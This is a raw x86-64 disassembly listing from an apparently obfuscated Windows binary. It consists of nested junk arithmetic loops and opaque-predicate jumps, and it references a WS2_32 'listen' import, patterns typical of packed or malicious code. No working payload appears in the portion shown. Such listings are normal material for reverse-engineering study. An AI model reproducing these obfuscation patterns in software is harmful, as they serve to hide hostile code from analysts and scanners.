mov dword [rsp + 0xad4], 0
jmp 0x1400fdfec
mov eax, dword [rsp + 0xad4]
inc eax
mov dword [rsp + 0xad4], eax
cmp dword [rsp + 0xad4], 4
jge 0x1400fe09b
mov eax, dword [rsp + 0xad4]
add eax, 2
mov dword [rsp + 0x3b8], eax
mov eax, dword [rsp + 0x3b8]
inc eax
mov dword [rsp + 0x3b8], eax
cmp dword [rsp + 0x3b8], 7
jne 0x1400fe088
mov dword [rsp + 0xac], Ordinal_79
cmp dword [rsp + 0xac], 0
jle 0x1400fe06a
mov eax, dword [rsp + 0xac]
sub eax, 5
mov dword [rsp + 0xac], eax
cmp dword [rsp + 0xac], 0xa
jne 0x1400fe068
mov eax, dword [rsp + 0xac]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xac], eax
jmp 0x1400fe030
mov eax, dword [rsp + 0x3b8]
imul eax, dword [rsp + 0x10a0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a18], eax
cmp dword [rsp + 0x3b8], 0xb
jl 0x1400fe00b
jmp 0x1400fdfdc
cmp dword [rsp + 0x10a0], 0x14
jle 0x1400fe11c
mov eax, dword [rsp + 0x10a0]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x10a4], eax
mov dword [rsp + 0xb0], Ordinal_79
cmp dword [rsp + 0xb0], 0
jle 0x1400fe101
mov eax, dword [rsp + 0xb0]
sub eax, 5
mov dword [rsp + 0xb0], eax
cmp dword [rsp + 0xb0], 0xa
jne 0x1400fe0ff
mov eax, dword [rsp + 0xb0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xb0], eax
jmp 0x1400fe0c7
mov eax, dword [rsp + 0x10a4]
sub eax, 2
mov dword [rsp + 0x10a4], eax
cmp dword [rsp + 0x10a4], 0
jg 0x1400fe0bc
jmp 0x1400fdfa6
mov eax, dword [rsp + 0x3c0]
imul eax, dword [rsp + 0x10b4]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1a1c], eax
mov dword [rsp + 0x10a8], 0
jmp 0x1400fe15d
mov eax, dword [rsp + 0x10a8]
inc eax
mov dword [rsp + 0x10a8], eax
cmp dword [rsp + 0x10a8], 5
jge 0x1400fe2c8
mov dword [rsp + 0x10ac], 0x2a
mov dword [rsp + 0xad8], 0
jmp 0x1400fe193
mov eax, dword [rsp + 0xad8]
inc eax
mov dword [rsp + 0xad8], eax
cmp dword [rsp + 0xad8], 4
jge 0x1400fe242
mov eax, dword [rsp + 0xad8]
add eax, 2
mov dword [rsp + 0x3bc], eax
mov eax, dword [rsp + 0x3bc]
inc eax
mov dword [rsp + 0x3bc], eax
cmp dword [rsp + 0x3bc], 7
jne 0x1400fe22f
mov dword [rsp + 0xb4], Ordinal_79
cmp dword [rsp + 0xb4], 0
jle 0x1400fe211
mov eax, dword [rsp + 0xb4]
sub eax, 5
mov dword [rsp + 0xb4], eax
cmp dword [rsp + 0xb4], 0xa
jne 0x1400fe20f
mov eax, dword [rsp + 0xb4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xb4], eax
jmp 0x1400fe1d7
mov eax, dword [rsp + 0x3bc]
imul eax, dword [rsp + 0x10ac]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a20], eax
cmp dword [rsp + 0x3bc], 0xb
jl 0x1400fe1b2
jmp 0x1400fe183
cmp dword [rsp + 0x10ac], 0x14
jle 0x1400fe2c3
mov eax, dword [rsp + 0x10ac]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x10b0], eax
mov dword [rsp + 0xb8], Ordinal_79
cmp dword [rsp + 0xb8], 0
jle 0x1400fe2a8
mov eax, dword [rsp + 0xb8]
sub eax, 5
mov dword [rsp + 0xb8], eax
cmp dword [rsp + 0xb8], 0xa
jne 0x1400fe2a6
mov eax, dword [rsp + 0xb8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xb8], eax
jmp 0x1400fe26e
mov eax, dword [rsp + 0x10b0]
sub eax, 2
mov dword [rsp + 0x10b0], eax
cmp dword [rsp + 0x10b0], 0
jg 0x1400fe263
jmp 0x1400fe14d
cmp dword [rsp + 0x3c0], 0x1c
jl 0x1400fdf7a
jmp 0x1400fdf4b
cmp dword [rsp + 0x10b4], 0x1e
jle 0x1400fe4a6
mov eax, dword [rsp + 0x10b4]
cdq
mov ecx, 7
idiv ecx
mov dword [rsp + 0x10c4], eax
mov dword [rsp + 0x10b8], 0
jmp 0x1400fe31c
mov eax, dword [rsp + 0x10b8]
inc eax
mov dword [rsp + 0x10b8], eax
cmp dword [rsp + 0x10b8], 5
jge 0x1400fe487
mov dword [rsp + 0x10bc], 0x2a
mov dword [rsp + 0xadc], 0
jmp 0x1400fe352
mov eax, dword [rsp + 0xadc]
inc eax
mov dword [rsp + 0xadc], eax
cmp dword [rsp + 0xadc], 4
jge 0x1400fe401
mov eax, dword [rsp + 0xadc]
add eax, 2
mov dword [rsp + 0x3c4], eax
mov eax, dword [rsp + 0x3c4]
inc eax
mov dword [rsp + 0x3c4], eax
cmp dword [rsp + 0x3c4], 7
jne 0x1400fe3ee
mov dword [rsp + 0xbc], Ordinal_79
cmp dword [rsp + 0xbc], 0
jle 0x1400fe3d0
mov eax, dword [rsp + 0xbc]
sub eax, 5
mov dword [rsp + 0xbc], eax
cmp dword [rsp + 0xbc], 0xa
jne 0x1400fe3ce
mov eax, dword [rsp + 0xbc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xbc], eax
jmp 0x1400fe396
mov eax, dword [rsp + 0x3c4]
imul eax, dword [rsp + 0x10bc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a24], eax
cmp dword [rsp + 0x3c4], 0xb
jl 0x1400fe371
jmp 0x1400fe342
cmp dword [rsp + 0x10bc], 0x14
jle 0x1400fe482
mov eax, dword [rsp + 0x10bc]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x10c0], eax
mov dword [rsp + 0xc0], Ordinal_79
cmp dword [rsp + 0xc0], 0
jle 0x1400fe467
mov eax, dword [rsp + 0xc0]
sub eax, 5
mov dword [rsp + 0xc0], eax
cmp dword [rsp + 0xc0], 0xa
jne 0x1400fe465
mov eax, dword [rsp + 0xc0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xc0], eax
jmp 0x1400fe42d
mov eax, dword [rsp + 0x10c0]
sub eax, 2
mov dword [rsp + 0x10c0], eax
cmp dword [rsp + 0x10c0], 0
jg 0x1400fe422
jmp 0x1400fe30c
mov eax, dword [rsp + 0x10c4]
sub eax, 2
mov dword [rsp + 0x10c4], eax
cmp dword [rsp + 0x10c4], 0
jg 0x1400fe2ff
mov dword [rsp + 0x10c8], 0
jmp 0x1400fe4c3
mov eax, dword [rsp + 0x10c8]
inc eax
mov dword [rsp + 0x10c8], eax
cmp dword [rsp + 0x10c8], 5
jge 0x1400fe62e
mov dword [rsp + 0x10cc], 0x2a
mov dword [rsp + 0xae0], 0
jmp 0x1400fe4f9
mov eax, dword [rsp + 0xae0]
inc eax
mov dword [rsp + 0xae0], eax
cmp dword [rsp + 0xae0], 4
jge 0x1400fe5a8
mov eax, dword [rsp + 0xae0]
add eax, 2
mov dword [rsp + 0x3c8], eax
mov eax, dword [rsp + 0x3c8]
inc eax
mov dword [rsp + 0x3c8], eax
cmp dword [rsp + 0x3c8], 7
jne 0x1400fe595
mov dword [rsp + 0xc4], Ordinal_79
cmp dword [rsp + 0xc4], 0
jle 0x1400fe577
mov eax, dword [rsp + 0xc4]
sub eax, 5
mov dword [rsp + 0xc4], eax
cmp dword [rsp + 0xc4], 0xa
jne 0x1400fe575
mov eax, dword [rsp + 0xc4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xc4], eax
jmp 0x1400fe53d
mov eax, dword [rsp + 0x3c8]
imul eax, dword [rsp + 0x10cc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a28], eax
cmp dword [rsp + 0x3c8], 0xb
jl 0x1400fe518
jmp 0x1400fe4e9
cmp dword [rsp + 0x10cc], 0x14
jle 0x1400fe629
mov eax, dword [rsp + 0x10cc]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x10d0], eax
mov dword [rsp + 0xc8], Ordinal_79
cmp dword [rsp + 0xc8], 0
jle 0x1400fe60e
mov eax, dword [rsp + 0xc8]
sub eax, 5
mov dword [rsp + 0xc8], eax
cmp dword [rsp + 0xc8], 0xa
jne 0x1400fe60c
mov eax, dword [rsp + 0xc8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xc8], eax
jmp 0x1400fe5d4
mov eax, dword [rsp + 0x10d0]
sub eax, 2
mov dword [rsp + 0x10d0], eax
cmp dword [rsp + 0x10d0], 0
jg 0x1400fe5c9
jmp 0x1400fe4b3
jmp 0x1400fdf15
jmp 0x1400fed61
mov dword [rsp + 0x10d4], 0
jmp 0x1400fe655
mov eax, dword [rsp + 0x10d4]
inc eax
mov dword [rsp + 0x10d4], eax
cmp dword [rsp + 0x10d4], 5
jge 0x1400fed61
mov dword [rsp + 0x10f0], 0x34
mov dword [rsp + 0xae4], 0
jmp 0x1400fe68b
mov eax, dword [rsp + 0xae4]
inc eax
mov dword [rsp + 0xae4], eax
cmp dword [rsp + 0xae4], 7
jge 0x1400fea0a
mov eax, dword [rsp + 0xae4]
add eax, 4
mov dword [rsp + 0x3d4], eax
mov eax, dword [rsp + 0x3d4]
add eax, 3
mov dword [rsp + 0x3d4], eax
cmp dword [rsp + 0x3d4], 0x10
jne 0x1400fe9f7
mov dword [rsp + 0x10d8], 0
jmp 0x1400fe6e6
mov eax, dword [rsp + 0x10d8]
inc eax
mov dword [rsp + 0x10d8], eax
cmp dword [rsp + 0x10d8], 5
jge 0x1400fe851
mov dword [rsp + 0x10dc], 0x2a
mov dword [rsp + 0xae8], 0
jmp 0x1400fe71c
mov eax, dword [rsp + 0xae8]
inc eax
mov dword [rsp + 0xae8], eax
cmp dword [rsp + 0xae8], 4
jge 0x1400fe7cb
mov eax, dword [rsp + 0xae8]
add eax, 2
mov dword [rsp + 0x3cc], eax
mov eax, dword [rsp + 0x3cc]
inc eax
mov dword [rsp + 0x3cc], eax
cmp dword [rsp + 0x3cc], 7
jne 0x1400fe7b8
mov dword [rsp + 0xcc], Ordinal_79
cmp dword [rsp + 0xcc], 0
jle 0x1400fe79a
mov eax, dword [rsp + 0xcc]
sub eax, 5
mov dword [rsp + 0xcc], eax
cmp dword [rsp + 0xcc], 0xa
jne 0x1400fe798
mov eax, dword [rsp + 0xcc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xcc], eax
jmp 0x1400fe760
mov eax, dword [rsp + 0x3cc]
imul eax, dword [rsp + 0x10dc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1990], eax
cmp dword [rsp + 0x3cc], 0xb
jl 0x1400fe73b
jmp 0x1400fe70c
cmp dword [rsp + 0x10dc], 0x14
jle 0x1400fe84c
mov eax, dword [rsp + 0x10dc]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x10e0], eax
mov dword [rsp + 0xd0], Ordinal_79
cmp dword [rsp + 0xd0], 0
jle 0x1400fe831
mov eax, dword [rsp + 0xd0]
sub eax, 5
mov dword [rsp + 0xd0], eax
cmp dword [rsp + 0xd0], 0xa
jne 0x1400fe82f
mov eax, dword [rsp + 0xd0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xd0], eax
jmp 0x1400fe7f7
mov eax, dword [rsp + 0x10e0]
sub eax, 2
mov dword [rsp + 0x10e0], eax
cmp dword [rsp + 0x10e0], 0
jg 0x1400fe7ec
jmp 0x1400fe6d6
mov eax, dword [rsp + 0x3d4]
imul eax, dword [rsp + 0x10f0]
cdq
mov ecx, 5
idiv ecx
mov dword [rsp + 0x1a2c], eax
mov dword [rsp + 0x10e4], 0
jmp 0x1400fe88c
mov eax, dword [rsp + 0x10e4]
inc eax
mov dword [rsp + 0x10e4], eax
cmp dword [rsp + 0x10e4], 5
jge 0x1400fe9f7
mov dword [rsp + 0x10e8], 0x2a
mov dword [rsp + 0xaec], 0
jmp 0x1400fe8c2
mov eax, dword [rsp + 0xaec]
inc eax
mov dword [rsp + 0xaec], eax
cmp dword [rsp + 0xaec], 4
jge 0x1400fe971
mov eax, dword [rsp + 0xaec]
add eax, 2
mov dword [rsp + 0x3d0], eax
mov eax, dword [rsp + 0x3d0]
inc eax
mov dword [rsp + 0x3d0], eax
cmp dword [rsp + 0x3d0], 7
jne 0x1400fe95e
mov dword [rsp + 0xd4], Ordinal_79
cmp dword [rsp + 0xd4], 0
jle 0x1400fe940
mov eax, dword [rsp + 0xd4]
sub eax, 5
mov dword [rsp + 0xd4], eax
cmp dword [rsp + 0xd4], 0xa
jne 0x1400fe93e
mov eax, dword [rsp + 0xd4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xd4], eax
jmp 0x1400fe906
mov eax, dword [rsp + 0x3d0]
imul eax, dword [rsp + 0x10e8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a30], eax
cmp dword [rsp + 0x3d0], 0xb
jl 0x1400fe8e1
jmp 0x1400fe8b2
cmp dword [rsp + 0x10e8], 0x14
jle 0x1400fe9f2
mov eax, dword [rsp + 0x10e8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x10ec], eax
mov dword [rsp + 0xd8], Ordinal_79
cmp dword [rsp + 0xd8], 0
jle 0x1400fe9d7
mov eax, dword [rsp + 0xd8]
sub eax, 5
mov dword [rsp + 0xd8], eax
cmp dword [rsp + 0xd8], 0xa
jne 0x1400fe9d5
mov eax, dword [rsp + 0xd8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xd8], eax
jmp 0x1400fe99d
mov eax, dword [rsp + 0x10ec]
sub eax, 2
mov dword [rsp + 0x10ec], eax
cmp dword [rsp + 0x10ec], 0
jg 0x1400fe992
jmp 0x1400fe87c
cmp dword [rsp + 0x3d4], 0x1b
jl 0x1400fe6aa
jmp 0x1400fe67b
cmp dword [rsp + 0x10f0], 0x19
jle 0x1400febd4
mov eax, dword [rsp + 0x10f0]
cdq
mov ecx, 6
idiv ecx
mov dword [rsp + 0x1100], eax
mov dword [rsp + 0x10f4], 0
jmp 0x1400fea4b
mov eax, dword [rsp + 0x10f4]
inc eax
mov dword [rsp + 0x10f4], eax
cmp dword [rsp + 0x10f4], 5
jge 0x1400febb6
mov dword [rsp + 0x10f8], 0x2a
mov dword [rsp + 0xaf0], 0
jmp 0x1400fea81
mov eax, dword [rsp + 0xaf0]
inc eax
mov dword [rsp + 0xaf0], eax
cmp dword [rsp + 0xaf0], 4
jge 0x1400feb30
mov eax, dword [rsp + 0xaf0]
add eax, 2
mov dword [rsp + 0x3d8], eax
mov eax, dword [rsp + 0x3d8]
inc eax
mov dword [rsp + 0x3d8], eax
cmp dword [rsp + 0x3d8], 7
jne 0x1400feb1d
mov dword [rsp + 0xdc], Ordinal_79
cmp dword [rsp + 0xdc], 0
jle 0x1400feaff
mov eax, dword [rsp + 0xdc]
sub eax, 5
mov dword [rsp + 0xdc], eax
cmp dword [rsp + 0xdc], 0xa
jne 0x1400feafd
mov eax, dword [rsp + 0xdc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xdc], eax
jmp 0x1400feac5
mov eax, dword [rsp + 0x3d8]
imul eax, dword [rsp + 0x10f8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a34], eax
cmp dword [rsp + 0x3d8], 0xb
jl 0x1400feaa0
jmp 0x1400fea71
cmp dword [rsp + 0x10f8], 0x14
jle 0x1400febb1
mov eax, dword [rsp + 0x10f8]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x10fc], eax
mov dword [rsp + 0xe0], Ordinal_79
cmp dword [rsp + 0xe0], 0
jle 0x1400feb96
mov eax, dword [rsp + 0xe0]
sub eax, 5
mov dword [rsp + 0xe0], eax
cmp dword [rsp + 0xe0], 0xa
jne 0x1400feb94
mov eax, dword [rsp + 0xe0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xe0], eax
jmp 0x1400feb5c
mov eax, dword [rsp + 0x10fc]
sub eax, 2
mov dword [rsp + 0x10fc], eax
cmp dword [rsp + 0x10fc], 0
jg 0x1400feb51
jmp 0x1400fea3b
mov eax, dword [rsp + 0x1100]
dec eax
mov dword [rsp + 0x1100], eax
cmp dword [rsp + 0x1100], 0
jg 0x1400fea2e
mov dword [rsp + 0x1104], 0
jmp 0x1400febf1
mov eax, dword [rsp + 0x1104]
inc eax
mov dword [rsp + 0x1104], eax
cmp dword [rsp + 0x1104], 5
jge 0x1400fed5c
mov dword [rsp + 0x1108], 0x2a
mov dword [rsp + 0xaf4], 0
jmp 0x1400fec27
mov eax, dword [rsp + 0xaf4]
inc eax
mov dword [rsp + 0xaf4], eax
cmp dword [rsp + 0xaf4], 4
jge 0x1400fecd6
mov eax, dword [rsp + 0xaf4]
add eax, 2
mov dword [rsp + 0x3dc], eax
mov eax, dword [rsp + 0x3dc]
inc eax
mov dword [rsp + 0x3dc], eax
cmp dword [rsp + 0x3dc], 7
jne 0x1400fecc3
mov dword [rsp + 0xe4], Ordinal_79
cmp dword [rsp + 0xe4], 0
jle 0x1400feca5
mov eax, dword [rsp + 0xe4]
sub eax, 5
mov dword [rsp + 0xe4], eax
cmp dword [rsp + 0xe4], 0xa
jne 0x1400feca3
mov eax, dword [rsp + 0xe4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xe4], eax
jmp 0x1400fec6b
mov eax, dword [rsp + 0x3dc]
imul eax, dword [rsp + 0x1108]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1a38], eax
cmp dword [rsp + 0x3dc], 0xb
jl 0x1400fec46
jmp 0x1400fec17
cmp dword [rsp + 0x1108], 0x14
jle 0x1400fed57
mov eax, dword [rsp + 0x1108]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x110c], eax
mov dword [rsp + 0xe8], Ordinal_79
cmp dword [rsp + 0xe8], 0
jle 0x1400fed3c
mov eax, dword [rsp + 0xe8]
sub eax, 5
mov dword [rsp + 0xe8], eax
cmp dword [rsp + 0xe8], 0xa
jne 0x1400fed3a
mov eax, dword [rsp + 0xe8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xe8], eax
jmp 0x1400fed02
mov eax, dword [rsp + 0x110c]
sub eax, 2
mov dword [rsp + 0x110c], eax
cmp dword [rsp + 0x110c], 0
jg 0x1400fecf7
jmp 0x1400febe1
jmp 0x1400fe645
xor eax, eax
test eax, eax
je 0x1400ffebd
xor eax, eax
test eax, eax
je 0x1400ff619
mov dword [rsp + 0x1110], 0
jmp 0x1400fed92
mov eax, dword [rsp + 0x1110]
inc eax
mov dword [rsp + 0x1110], eax
cmp dword [rsp + 0x1110], 5
jge 0x1400ff614
mov dword [rsp + 0x112c], 0x3f
mov dword [rsp + 0xaf8], 0
jmp 0x1400fedc8
mov eax, dword [rsp + 0xaf8]
inc eax
mov dword [rsp + 0xaf8], eax
cmp dword [rsp + 0xaf8], 9
jge 0x1400ff200
mov eax, dword [rsp + 0xaf8]
add eax, 7
mov dword [rsp + 0x3f8], eax
mov eax, dword [rsp + 0x3f8]
add eax, 4
mov dword [rsp + 0x3f8], eax
cmp dword [rsp + 0x3f8], 0x15
jne 0x1400ff1ed
mov dword [rsp + 0x1114], 0
jmp 0x1400fee23
mov eax, dword [rsp + 0x1114]
inc eax
mov dword [rsp + 0x1114], eax
cmp dword [rsp + 0x1114], 5
jge 0x1400fefec
mov dword [rsp + 0x1118], 0x11
mov dword [rsp + 0xafc], 0
jmp 0x1400fee59
mov eax, dword [rsp + 0xafc]
inc eax
mov dword [rsp + 0xafc], eax
cmp dword [rsp + 0xafc], 3
jge 0x1400fef34
mov eax, dword [rsp + 0xafc]
inc eax
mov dword [rsp + 0x3e4], eax
mov eax, dword [rsp + 0x3e4]
inc eax
mov dword [rsp + 0x3e4], eax
cmp dword [rsp + 0x3e4], 4
jne 0x1400fef21
mov dword [rsp + 0x3e0], reloc.WS2_32.dll_listen
mov dword [rsp + 0xb00], 0
jmp 0x1400feebd
mov eax, dword [rsp + 0xb00]
inc eax
mov dword [rsp + 0xb00], eax
cmp dword [rsp + 0xb00], 4
jge 0x1400fef06
mov eax, dword [rsp + 0xb00]
mov ecx, dword [rsp + 0x3e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e0], eax
mov eax, dword [rsp + 0x3e0]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fef04
imul eax, dword [rsp + 0x3e0], 3
mov dword [rsp + 0x3e0], eax
jmp 0x1400feead
mov eax, dword [rsp + 0x3e4]
imul eax, dword [rsp + 0x1118]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a3c], eax
cmp dword [rsp + 0x3e4], 6
jl 0x1400fee77
jmp 0x1400fee49
cmp dword [rsp + 0x1118], 0xa
jle 0x1400fefe7
mov eax, dword [rsp + 0x1118]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x111c], eax
mov dword [rsp + 0x3e8], reloc.WS2_32.dll_listen
mov dword [rsp + 0xb04], 0
jmp 0x1400fef80
mov eax, dword [rsp + 0xb04]
inc eax
mov dword [rsp + 0xb04], eax
cmp dword [rsp + 0xb04], 4
jge 0x1400fefc9
mov eax, dword [rsp + 0xb04]
mov ecx, dword [rsp + 0x3e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e8], eax
mov eax, dword [rsp + 0x3e8]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400fefc7
imul eax, dword [rsp + 0x3e8], 3
mov dword [rsp + 0x3e8], eax
jmp 0x1400fef70
mov eax, dword [rsp + 0x111c]
dec eax
mov dword [rsp + 0x111c], eax
cmp dword [rsp + 0x111c], 0
jg 0x1400fef58
jmp 0x1400fee13
mov eax, dword [rsp + 0x3f8]
imul eax, dword [rsp + 0x112c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a40], eax
mov dword [rsp + 0x1120], 0
jmp 0x1400ff024
mov eax, dword [rsp + 0x1120]
inc eax
mov dword [rsp + 0x1120], eax
cmp dword [rsp + 0x1120], 5
jge 0x1400ff1ed
mov dword [rsp + 0x1124], 0x11
mov dword [rsp + 0xb08], 0
jmp 0x1400ff05a
mov eax, dword [rsp + 0xb08]
inc eax
mov dword [rsp + 0xb08], eax
cmp dword [rsp + 0xb08], 3
jge 0x1400ff135
mov eax, dword [rsp + 0xb08]
inc eax
mov dword [rsp + 0x3f0], eax
mov eax, dword [rsp + 0x3f0]
inc eax
mov dword [rsp + 0x3f0], eax
cmp dword [rsp + 0x3f0], 4
jne 0x1400ff122
mov dword [rsp + 0x3ec], 0xd
mov dword [rsp + 0xb0c], 0
jmp 0x1400ff0be
mov eax, dword [rsp + 0xb0c]
inc eax
mov dword [rsp + 0xb0c], eax
cmp dword [rsp + 0xb0c], 4
jge 0x1400ff107
mov eax, dword [rsp + 0xb0c]
mov ecx, dword [rsp + 0x3ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ec], eax
mov eax, dword [rsp + 0x3ec]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ff105
imul eax, dword [rsp + 0x3ec], 3
mov dword [rsp + 0x3ec], eax
jmp 0x1400ff0ae
mov eax, dword [rsp + 0x3f0]
imul eax, dword [rsp + 0x1124]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a44], eax
cmp dword [rsp + 0x3f0], 6
jl 0x1400ff078
jmp 0x1400ff04a
cmp dword [rsp + 0x1124], 0xa
jle 0x1400ff1e8
mov eax, dword [rsp + 0x1124]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1128], eax
mov dword [rsp + 0x3f4], 0xd
mov dword [rsp + 0xb10], 0
jmp 0x1400ff181
mov eax, dword [rsp + 0xb10]
inc eax
mov dword [rsp + 0xb10], eax
cmp dword [rsp + 0xb10], 4
jge 0x1400ff1ca
mov eax, dword [rsp + 0xb10]
mov ecx, dword [rsp + 0x3f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f4], eax
mov eax, dword [rsp + 0x3f4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ff1c8
imul eax, dword [rsp + 0x3f4], 3
mov dword [rsp + 0x3f4], eax
jmp 0x1400ff171
mov eax, dword [rsp + 0x1128]
dec eax
mov dword [rsp + 0x1128], eax
cmp dword [rsp + 0x1128], 0
jg 0x1400ff159
jmp 0x1400ff014
cmp dword [rsp + 0x3f8], 0x23
jl 0x1400fede7
jmp 0x1400fedb8
cmp dword [rsp + 0x112c], 0x28
jle 0x1400ff429
mov eax, dword [rsp + 0x112c]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x113c], eax
mov dword [rsp + 0x1130], 0
jmp 0x1400ff241
mov eax, dword [rsp + 0x1130]
inc eax
mov dword [rsp + 0x1130], eax
cmp dword [rsp + 0x1130], 5
jge 0x1400ff40a
mov dword [rsp + 0x1134], 0x11
mov dword [rsp + 0xb14], 0
jmp 0x1400ff277
mov eax, dword [rsp + 0xb14]
inc eax
mov dword [rsp + 0xb14], eax
cmp dword [rsp + 0xb14], 3
jge 0x1400ff352
mov eax, dword [rsp + 0xb14]
inc eax
mov dword [rsp + 0x400], eax
mov eax, dword [rsp + 0x400]
inc eax
mov dword [rsp + 0x400], eax
cmp dword [rsp + 0x400], 4
jne 0x1400ff33f
mov dword [rsp + 0x3fc], 0xd
mov dword [rsp + 0xb18], 0
jmp 0x1400ff2db
mov eax, dword [rsp + 0xb18]
inc eax
mov dword [rsp + 0xb18], eax
cmp dword [rsp + 0xb18], 4
jge 0x1400ff324
mov eax, dword [rsp + 0xb18]
mov ecx, dword [rsp + 0x3fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fc], eax
mov eax, dword [rsp + 0x3fc]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ff322
imul eax, dword [rsp + 0x3fc], 3
mov dword [rsp + 0x3fc], eax
jmp 0x1400ff2cb
mov eax, dword [rsp + 0x400]
imul eax, dword [rsp + 0x1134]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a48], eax
cmp dword [rsp + 0x400], 6
jl 0x1400ff295
jmp 0x1400ff267
cmp dword [rsp + 0x1134], 0xa
jle 0x1400ff405
mov eax, dword [rsp + 0x1134]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1138], eax
mov dword [rsp + 0x404], 0xd
mov dword [rsp + 0xb1c], 0
jmp 0x1400ff39e
mov eax, dword [rsp + 0xb1c]
inc eax
mov dword [rsp + 0xb1c], eax
cmp dword [rsp + 0xb1c], 4
jge 0x1400ff3e7
mov eax, dword [rsp + 0xb1c]
mov ecx, dword [rsp + 0x404]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x404], eax
mov eax, dword [rsp + 0x404]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ff3e5
imul eax, dword [rsp + 0x404], 3
mov dword [rsp + 0x404], eax
jmp 0x1400ff38e
mov eax, dword [rsp + 0x1138]
dec eax
mov dword [rsp + 0x1138], eax
cmp dword [rsp + 0x1138], 0
jg 0x1400ff376
jmp 0x1400ff231
mov eax, dword [rsp + 0x113c]
sub eax, 2
mov dword [rsp + 0x113c], eax
cmp dword [rsp + 0x113c], 0
jg 0x1400ff224
mov dword [rsp + 0x1140], 0
jmp 0x1400ff446
mov eax, dword [rsp + 0x1140]
inc eax
mov dword [rsp + 0x1140], eax
cmp dword [rsp + 0x1140], 5
jge 0x1400ff60f
mov dword [rsp + 0x1144], 0x11
mov dword [rsp + 0xb20], 0
jmp 0x1400ff47c
mov eax, dword [rsp + 0xb20]
inc eax
mov dword [rsp + 0xb20], eax
cmp dword [rsp + 0xb20], 3
jge 0x1400ff557
mov eax, dword [rsp + 0xb20]
inc eax
mov dword [rsp + 0x40c], eax
mov eax, dword [rsp + 0x40c]
inc eax
mov dword [rsp + 0x40c], eax
cmp dword [rsp + 0x40c], 4
jne 0x1400ff544
mov dword [rsp + 0x408], 0xd
mov dword [rsp + 0xb24], 0
jmp 0x1400ff4e0
mov eax, dword [rsp + 0xb24]
inc eax
mov dword [rsp + 0xb24], eax
cmp dword [rsp + 0xb24], 4
jge 0x1400ff529
mov eax, dword [rsp + 0xb24]
mov ecx, dword [rsp + 0x408]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x408], eax
mov eax, dword [rsp + 0x408]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400ff527
imul eax, dword [rsp + 0x408], 3
mov dword [rsp + 0x408], eax
jmp 0x1400ff4d0
mov eax, dword [rsp + 0x40c]
imul eax, dword [rsp + 0x1144]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1a4c], eax
cmp dword [rsp + 0x40c], 6
jl 0x1400ff49a
jmp 0x1400ff46c
cmp dword [rsp + 0x1144], 0xa
jle 0x1400ff60a
mov eax, dword [rsp + 0x1144]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x1148], eax
mov dword [rsp + 0x410], 0xd
mov dword [rsp + 0xb28], 0
jmp 0x1400ff5a3
mov eax, dword [rsp + 0xb28]
inc eax
mov dword [rsp + 0xb28], eax
cmp dword [rsp + 0xb28], 4
jge 0x1400ff5ec
